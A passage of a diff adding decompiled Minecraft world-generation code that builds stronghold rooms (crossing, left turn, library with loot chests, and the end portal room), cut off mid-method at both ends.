+        for (int var5 = 1; var5 <= 3; var5++)
+        {
+          func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 0, var5, var4, p_74875_3_);
+          func_175811_a(worldIn, Blocks.air.getDefaultState(), 1, var5, var4, p_74875_3_);
+          func_175811_a(worldIn, Blocks.air.getDefaultState(), 2, var5, var4, p_74875_3_);
+          func_175811_a(worldIn, Blocks.air.getDefaultState(), 3, var5, var4, p_74875_3_);
+          func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 4, var5, var4, p_74875_3_);
+        }
+        
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 0, 4, var4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 1, 4, var4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 2, 4, var4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 3, 4, var4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 4, 4, var4, p_74875_3_);
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Crossing
+    extends StructureStrongholdPieces.Stronghold
+  {
+    private boolean field_74996_b;
+    private boolean field_74997_c;
+    private boolean field_74995_d;
+    private boolean field_74999_h;
+    private static final String __OBFID = "CL_00000489";
+    
+    public Crossing() {}
+    
+    public Crossing(int p_i45580_1_, Random p_i45580_2_, StructureBoundingBox p_i45580_3_, EnumFacing p_i45580_4_)
+    {
+      super();
+      coordBaseMode = p_i45580_4_;
+      field_143013_d = getRandomDoor(p_i45580_2_);
+      boundingBox = p_i45580_3_;
+      field_74996_b = p_i45580_2_.nextBoolean();
+      field_74997_c = p_i45580_2_.nextBoolean();
+      field_74995_d = p_i45580_2_.nextBoolean();
+      field_74999_h = (p_i45580_2_.nextInt(3) > 0);
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("leftLow", field_74996_b);
+      p_143012_1_.setBoolean("leftHigh", field_74997_c);
+      p_143012_1_.setBoolean("rightLow", field_74995_d);
+      p_143012_1_.setBoolean("rightHigh", field_74999_h);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      field_74996_b = p_143011_1_.getBoolean("leftLow");
+      field_74997_c = p_143011_1_.getBoolean("leftHigh");
+      field_74995_d = p_143011_1_.getBoolean("rightLow");
+      field_74999_h = p_143011_1_.getBoolean("rightHigh");
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      int var4 = 3;
+      int var5 = 5;
+      
+      if ((coordBaseMode == EnumFacing.WEST) || (coordBaseMode == EnumFacing.NORTH))
+      {
+        var4 = 8 - var4;
+        var5 = 8 - var5;
+      }
+      
+      getNextComponentNormal((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 5, 1);
+      
+      if (field_74996_b)
+      {
+        getNextComponentX((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, var4, 1);
+      }
+      
+      if (field_74997_c)
+      {
+        getNextComponentX((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, var5, 7);
+      }
+      
+      if (field_74995_d)
+      {
+        getNextComponentZ((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, var4, 1);
+      }
+      
+      if (field_74999_h)
+      {
+        getNextComponentZ((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, var5, 7);
+      }
+    }
+    
+    public static Crossing func_175866_a(List p_175866_0_, Random p_175866_1_, int p_175866_2_, int p_175866_3_, int p_175866_4_, EnumFacing p_175866_5_, int p_175866_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175866_2_, p_175866_3_, p_175866_4_, -4, -3, 0, 10, 9, 11, p_175866_5_);
+      return (canStrongholdGoDeeper(var7)) && (StructureComponent.findIntersecting(p_175866_0_, var7) == null) ? new Crossing(p_175866_6_, p_175866_1_, var7, p_175866_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 0, 0, 0, 9, 8, 10, true, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, field_143013_d, 4, 3, 0);
+      
+      if (field_74996_b)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 3, 1, 0, 5, 3, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+      if (field_74995_d)
+      {
+        func_175804_a(worldIn, p_74875_3_, 9, 3, 1, 9, 5, 3, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+      if (field_74997_c)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 5, 7, 0, 7, 9, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+      if (field_74999_h)
+      {
+        func_175804_a(worldIn, p_74875_3_, 9, 5, 7, 9, 7, 9, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 5, 1, 10, 7, 3, 10, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 1, 2, 1, 8, 2, 6, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 1, 5, 4, 4, 9, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 8, 1, 5, 8, 4, 9, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 1, 4, 7, 3, 4, 9, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 1, 3, 5, 3, 3, 6, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 4, 3, 3, 4, Blocks.stone_slab.getDefaultState(), Blocks.stone_slab.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 4, 6, 3, 4, 6, Blocks.stone_slab.getDefaultState(), Blocks.stone_slab.getDefaultState(), false);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 5, 1, 7, 7, 1, 8, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      func_175804_a(worldIn, p_74875_3_, 5, 1, 9, 7, 1, 9, Blocks.stone_slab.getDefaultState(), Blocks.stone_slab.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 2, 7, 7, 2, 7, Blocks.stone_slab.getDefaultState(), Blocks.stone_slab.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 5, 7, 4, 5, 9, Blocks.stone_slab.getDefaultState(), Blocks.stone_slab.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 5, 7, 8, 5, 9, Blocks.stone_slab.getDefaultState(), Blocks.stone_slab.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 5, 7, 7, 5, 9, Blocks.double_stone_slab.getDefaultState(), Blocks.double_stone_slab.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.torch.getDefaultState(), 6, 5, 6, p_74875_3_);
+      return true;
+    }
+  }
+  
+  public static class LeftTurn
+    extends StructureStrongholdPieces.Stronghold
+  {
+    private static final String __OBFID = "CL_00000490";
+    
+    public LeftTurn() {}
+    
+    public LeftTurn(int p_i45579_1_, Random p_i45579_2_, StructureBoundingBox p_i45579_3_, EnumFacing p_i45579_4_)
+    {
+      super();
+      coordBaseMode = p_i45579_4_;
+      field_143013_d = getRandomDoor(p_i45579_2_);
+      boundingBox = p_i45579_3_;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      if ((coordBaseMode != EnumFacing.NORTH) && (coordBaseMode != EnumFacing.EAST))
+      {
+        getNextComponentZ((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 1);
+      }
+      else
+      {
+        getNextComponentX((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 1);
+      }
+    }
+    
+    public static LeftTurn func_175867_a(List p_175867_0_, Random p_175867_1_, int p_175867_2_, int p_175867_3_, int p_175867_4_, EnumFacing p_175867_5_, int p_175867_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175867_2_, p_175867_3_, p_175867_4_, -1, -1, 0, 5, 5, 5, p_175867_5_);
+      return (canStrongholdGoDeeper(var7)) && (StructureComponent.findIntersecting(p_175867_0_, var7) == null) ? new LeftTurn(p_175867_6_, p_175867_1_, var7, p_175867_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 0, 0, 0, 4, 4, 4, true, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, field_143013_d, 1, 1, 0);
+      
+      if ((coordBaseMode != EnumFacing.NORTH) && (coordBaseMode != EnumFacing.EAST))
+      {
+        func_175804_a(worldIn, p_74875_3_, 4, 1, 1, 4, 3, 3, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      else
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 1, 0, 3, 3, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Library
+    extends StructureStrongholdPieces.Stronghold
+  {
+    private static final List strongholdLibraryChestContents = Lists.newArrayList(new WeightedRandomChestContent[] { new WeightedRandomChestContent(Items.book, 0, 1, 3, 20), new WeightedRandomChestContent(Items.paper, 0, 2, 7, 20), new WeightedRandomChestContent(Items.map, 0, 1, 1, 1), new WeightedRandomChestContent(Items.compass, 0, 1, 1, 1) });
+    private boolean isLargeRoom;
+    private static final String __OBFID = "CL_00000491";
+    
+    public Library() {}
+    
+    public Library(int p_i45578_1_, Random p_i45578_2_, StructureBoundingBox p_i45578_3_, EnumFacing p_i45578_4_)
+    {
+      super();
+      coordBaseMode = p_i45578_4_;
+      field_143013_d = getRandomDoor(p_i45578_2_);
+      boundingBox = p_i45578_3_;
+      isLargeRoom = (p_i45578_3_.getYSize() > 6);
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("Tall", isLargeRoom);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      isLargeRoom = p_143011_1_.getBoolean("Tall");
+    }
+    
+    public static Library func_175864_a(List p_175864_0_, Random p_175864_1_, int p_175864_2_, int p_175864_3_, int p_175864_4_, EnumFacing p_175864_5_, int p_175864_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175864_2_, p_175864_3_, p_175864_4_, -4, -1, 0, 14, 11, 15, p_175864_5_);
+      
+      if ((!canStrongholdGoDeeper(var7)) || (StructureComponent.findIntersecting(p_175864_0_, var7) != null))
+      {
+        var7 = StructureBoundingBox.func_175897_a(p_175864_2_, p_175864_3_, p_175864_4_, -4, -1, 0, 14, 6, 15, p_175864_5_);
+        
+        if ((!canStrongholdGoDeeper(var7)) || (StructureComponent.findIntersecting(p_175864_0_, var7) != null))
+        {
+          return null;
+        }
+      }
+      
+      return new Library(p_175864_6_, p_175864_1_, var7, p_175864_5_);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      byte var4 = 11;
+      
+      if (!isLargeRoom)
+      {
+        var4 = 6;
+      }
+      
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 0, 0, 0, 13, var4 - 1, 14, true, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, field_143013_d, 4, 1, 0);
+      func_175805_a(worldIn, p_74875_3_, p_74875_2_, 0.07F, 2, 1, 1, 11, 4, 13, Blocks.web.getDefaultState(), Blocks.web.getDefaultState(), false);
+      boolean var5 = true;
+      boolean var6 = true;
+      
+
+      for (int var7 = 1; var7 <= 13; var7++)
+      {
+        if ((var7 - 1) % 4 == 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 1, 1, var7, 1, 4, var7, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+          func_175804_a(worldIn, p_74875_3_, 12, 1, var7, 12, 4, var7, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+          func_175811_a(worldIn, Blocks.torch.getDefaultState(), 2, 3, var7, p_74875_3_);
+          func_175811_a(worldIn, Blocks.torch.getDefaultState(), 11, 3, var7, p_74875_3_);
+          
+          if (isLargeRoom)
+          {
+            func_175804_a(worldIn, p_74875_3_, 1, 6, var7, 1, 9, var7, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+            func_175804_a(worldIn, p_74875_3_, 12, 6, var7, 12, 9, var7, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+          }
+        }
+        else
+        {
+          func_175804_a(worldIn, p_74875_3_, 1, 1, var7, 1, 4, var7, Blocks.bookshelf.getDefaultState(), Blocks.bookshelf.getDefaultState(), false);
+          func_175804_a(worldIn, p_74875_3_, 12, 1, var7, 12, 4, var7, Blocks.bookshelf.getDefaultState(), Blocks.bookshelf.getDefaultState(), false);
+          
+          if (isLargeRoom)
+          {
+            func_175804_a(worldIn, p_74875_3_, 1, 6, var7, 1, 9, var7, Blocks.bookshelf.getDefaultState(), Blocks.bookshelf.getDefaultState(), false);
+            func_175804_a(worldIn, p_74875_3_, 12, 6, var7, 12, 9, var7, Blocks.bookshelf.getDefaultState(), Blocks.bookshelf.getDefaultState(), false);
+          }
+        }
+      }
+      
+      for (var7 = 3; var7 < 12; var7 += 2)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 1, var7, 4, 3, var7, Blocks.bookshelf.getDefaultState(), Blocks.bookshelf.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 6, 1, var7, 7, 3, var7, Blocks.bookshelf.getDefaultState(), Blocks.bookshelf.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 9, 1, var7, 10, 3, var7, Blocks.bookshelf.getDefaultState(), Blocks.bookshelf.getDefaultState(), false);
+      }
+      
+      if (isLargeRoom)
+      {
+        func_175804_a(worldIn, p_74875_3_, 1, 5, 1, 3, 5, 13, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 10, 5, 1, 12, 5, 13, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 4, 5, 1, 9, 5, 2, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 4, 5, 12, 9, 5, 13, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+        func_175811_a(worldIn, Blocks.planks.getDefaultState(), 9, 5, 11, p_74875_3_);
+        func_175811_a(worldIn, Blocks.planks.getDefaultState(), 8, 5, 11, p_74875_3_);
+        func_175811_a(worldIn, Blocks.planks.getDefaultState(), 9, 5, 10, p_74875_3_);
+        func_175804_a(worldIn, p_74875_3_, 3, 6, 2, 3, 6, 12, Blocks.oak_fence.getDefaultState(), Blocks.oak_fence.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 10, 6, 2, 10, 6, 10, Blocks.oak_fence.getDefaultState(), Blocks.oak_fence.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 4, 6, 2, 9, 6, 2, Blocks.oak_fence.getDefaultState(), Blocks.oak_fence.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 4, 6, 12, 8, 6, 12, Blocks.oak_fence.getDefaultState(), Blocks.oak_fence.getDefaultState(), false);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 9, 6, 11, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 8, 6, 11, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 9, 6, 10, p_74875_3_);
+        var7 = getMetadataWithOffset(Blocks.ladder, 3);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(var7), 10, 1, 13, p_74875_3_);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(var7), 10, 2, 13, p_74875_3_);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(var7), 10, 3, 13, p_74875_3_);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(var7), 10, 4, 13, p_74875_3_);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(var7), 10, 5, 13, p_74875_3_);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(var7), 10, 6, 13, p_74875_3_);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(var7), 10, 7, 13, p_74875_3_);
+        byte var8 = 7;
+        byte var9 = 7;
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), var8 - 1, 9, var9, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), var8, 9, var9, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), var8 - 1, 8, var9, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), var8, 8, var9, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), var8 - 1, 7, var9, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), var8, 7, var9, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), var8 - 2, 7, var9, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), var8 + 1, 7, var9, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), var8 - 1, 7, var9 - 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), var8 - 1, 7, var9 + 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), var8, 7, var9 - 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), var8, 7, var9 + 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.torch.getDefaultState(), var8 - 2, 8, var9, p_74875_3_);
+        func_175811_a(worldIn, Blocks.torch.getDefaultState(), var8 + 1, 8, var9, p_74875_3_);
+        func_175811_a(worldIn, Blocks.torch.getDefaultState(), var8 - 1, 8, var9 - 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.torch.getDefaultState(), var8 - 1, 8, var9 + 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.torch.getDefaultState(), var8, 8, var9 - 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.torch.getDefaultState(), var8, 8, var9 + 1, p_74875_3_);
+      }
+      
+      func_180778_a(worldIn, p_74875_3_, p_74875_2_, 3, 3, 5, WeightedRandomChestContent.func_177629_a(strongholdLibraryChestContents, new WeightedRandomChestContent[] { Items.enchanted_book.func_92112_a(p_74875_2_, 1, 5, 2) }), 1 + p_74875_2_.nextInt(4));
+      
+      if (isLargeRoom)
+      {
+        func_175811_a(worldIn, Blocks.air.getDefaultState(), 12, 9, 1, p_74875_3_);
+        func_180778_a(worldIn, p_74875_3_, p_74875_2_, 12, 8, 1, WeightedRandomChestContent.func_177629_a(strongholdLibraryChestContents, new WeightedRandomChestContent[] { Items.enchanted_book.func_92112_a(p_74875_2_, 1, 5, 2) }), 1 + p_74875_2_.nextInt(4));
+      }
+      
+      return true;
+    }
+  }
+  
+
+  static class PieceWeight
+  {
+    public Class pieceClass;
+    public final int pieceWeight;
+    public int instancesSpawned;
+    public int instancesLimit;
+    private static final String __OBFID = "CL_00000492";
+    
+    public PieceWeight(Class p_i2076_1_, int p_i2076_2_, int p_i2076_3_)
+    {
+      pieceClass = p_i2076_1_;
+      pieceWeight = p_i2076_2_;
+      instancesLimit = p_i2076_3_;
+    }
+    
+    public boolean canSpawnMoreStructuresOfType(int p_75189_1_)
+    {
+      return (instancesLimit == 0) || (instancesSpawned < instancesLimit);
+    }
+    
+    public boolean canSpawnMoreStructures()
+    {
+      return (instancesLimit == 0) || (instancesSpawned < instancesLimit);
+    }
+  }
+  
+  public static class PortalRoom extends StructureStrongholdPieces.Stronghold
+  {
+    private boolean hasSpawner;
+    private static final String __OBFID = "CL_00000493";
+    
+    public PortalRoom() {}
+    
+    public PortalRoom(int p_i45577_1_, Random p_i45577_2_, StructureBoundingBox p_i45577_3_, EnumFacing p_i45577_4_)
+    {
+      super();
+      coordBaseMode = p_i45577_4_;
+      boundingBox = p_i45577_3_;
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("Mob", hasSpawner);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      hasSpawner = p_143011_1_.getBoolean("Mob");
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      if (p_74861_1_ != null)
+      {
+        strongholdPortalRoom = this;
+      }
+    }
+    
+    public static PortalRoom func_175865_a(List p_175865_0_, Random p_175865_1_, int p_175865_2_, int p_175865_3_, int p_175865_4_, EnumFacing p_175865_5_, int p_175865_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175865_2_, p_175865_3_, p_175865_4_, -4, -1, 0, 11, 8, 16, p_175865_5_);
+      return (canStrongholdGoDeeper(var7)) && (StructureComponent.findIntersecting(p_175865_0_, var7) == null) ? new PortalRoom(p_175865_6_, p_175865_1_, var7, p_175865_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 0, 0, 0, 10, 7, 15, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, StructureStrongholdPieces.Stronghold.Door.GRATES, 4, 1, 0);
+      byte var4 = 6;
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 1, var4, 1, 1, var4, 14, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 9, var4, 1, 9, var4, 14, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 2, var4, 1, 8, var4, 2, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 2, var4, 14, 8, var4, 14, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 1, 1, 1, 2, 1, 4, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 8, 1, 1, 9, 1, 4, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 1, 1, 1, 3, Blocks.flowing_lava.getDefaultState(), Blocks.flowing_lava.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 9, 1, 1, 9, 1, 3, Blocks.flowing_lava.getDefaultState(), Blocks.flowing_lava.getDefaultState(), false);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 3, 1, 8, 7, 1, 12, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      func_175804_a(worldIn, p_74875_3_, 4, 1, 9, 6, 1, 11, Blocks.flowing_lava.getDefaultState(), Blocks.flowing_lava.getDefaultState(), false);
+      
+
+      for (int var5 = 3; var5 < 14; var5 += 2)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 3, var5, 0, 4, var5, Blocks.iron_bars.getDefaultState(), Blocks.iron_bars.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 10, 3, var5, 10, 4, var5, Blocks.iron_bars.getDefaultState(), Blocks.iron_bars.getDefaultState(), false);
+      }
+      
+      for (var5 = 2; var5 < 9; var5 += 2)
+      {
+        func_175804_a(worldIn, p_74875_3_, var5, 3, 15, var5, 4, 15, Blocks.iron_bars.getDefaultState(), Blocks.iron_bars.getDefaultState(), false);
+      }
+      
+      var5 = getMetadataWithOffset(Blocks.stone_brick_stairs, 3);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 1, 5, 6, 1, 7, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 2, 6, 6, 2, 7, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 3, 7, 6, 3, 7, false, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      
+
+      for (int var6 = 4; var6 <= 6; var6++)
+      {
+        func_175811_a(worldIn, Blocks.stone_brick_stairs.getStateFromMeta(var5), var6, 1, 4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_brick_stairs.getStateFromMeta(var5), var6, 2, 5, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_brick_stairs.getStateFromMeta(var5), var6, 3, 6, p_74875_3_);
+      }
+      
+      var6 = EnumFacing.NORTH.getHorizontalIndex();
+      int var7 = EnumFacing.SOUTH.getHorizontalIndex();
+      int var8 = EnumFacing.EAST.getHorizontalIndex();
+      int var9 = EnumFacing.WEST.getHorizontalIndex();
+      
+      if (coordBaseMode != null)
+      {
+        switch (StructureStrongholdPieces.SwitchEnumFacing.field_175951_b[coordBaseMode.ordinal()])
+        {
+        case 2: 
+          var6 = EnumFacing.SOUTH.getHorizontalIndex();
+          var7 = EnumFacing.NORTH.getHorizontalIndex();
+          break;
+        
+        case 3: 
+          var6 = EnumFacing.WEST.getHorizontalIndex();
+          var7 = EnumFacing.EAST.getHorizontalIndex();
+          var8 = EnumFacing.SOUTH.getHorizontalIndex();
+          var9 = EnumFacing.NORTH.getHorizontalIndex();
+          break;
+        
+        case 4: 
+          var6 = EnumFacing.EAST.getHorizontalIndex();
+          var7 = EnumFacing.WEST.getHorizontalIndex();
+          var8 = EnumFacing.SOUTH.getHorizontalIndex();
+          var9 = EnumFacing.NORTH.getHorizontalIndex();
+        }
+        
+      }
+      func_175811_a(worldIn, Blocks.end_portal_frame.getStateFromMeta(var6).withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(p_74875_2_.nextFloat() > 0.9F)), 4, 3, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.end_portal_frame.getStateFromMeta(var6).withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(p_74875_2_.nextFloat() > 0.9F)), 5, 3, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.end_portal_frame.getStateFromMeta(var6).withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(p_74875_2_.nextFloat() > 0.9F)), 6, 3, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.end_portal_frame.getStateFromMeta(var7).withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(p_74875_2_.nextFloat() > 0.9F)), 4, 3, 12, p_74875_3_);
+      func_175811_a(worldIn, Blocks.end_portal_frame.getStateFromMeta(var7).withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(p_74875_2_.nextFloat() > 0.9F)), 5, 3, 12, p_74875_3_);
+      func_175811_a(worldIn, Blocks.end_portal_frame.getStateFromMeta(var7).withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(p_74875_2_.nextFloat() > 0.9F)), 6, 3, 12, p_74875_3_);
+      func_175811_a(worldIn, Blocks.end_portal_frame.getStateFromMeta(var8).withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(p_74875_2_.nextFloat() > 0.9F)), 3, 3, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.end_portal_frame.getStateFromMeta(var8).withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(p_74875_2_.nextFloat() > 0.9F)), 3, 3, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.end_portal_frame.getStateFromMeta(var8).withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(p_74875_2_.nextFloat() > 0.9F)), 3, 3, 11, p_74875_3_);
+      func_175811_a(worldIn, Blocks.end_portal_frame.getStateFromMeta(var9).withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(p_74875_2_.nextFloat() > 0.9F)), 7, 3, 9, p_74875_3_);
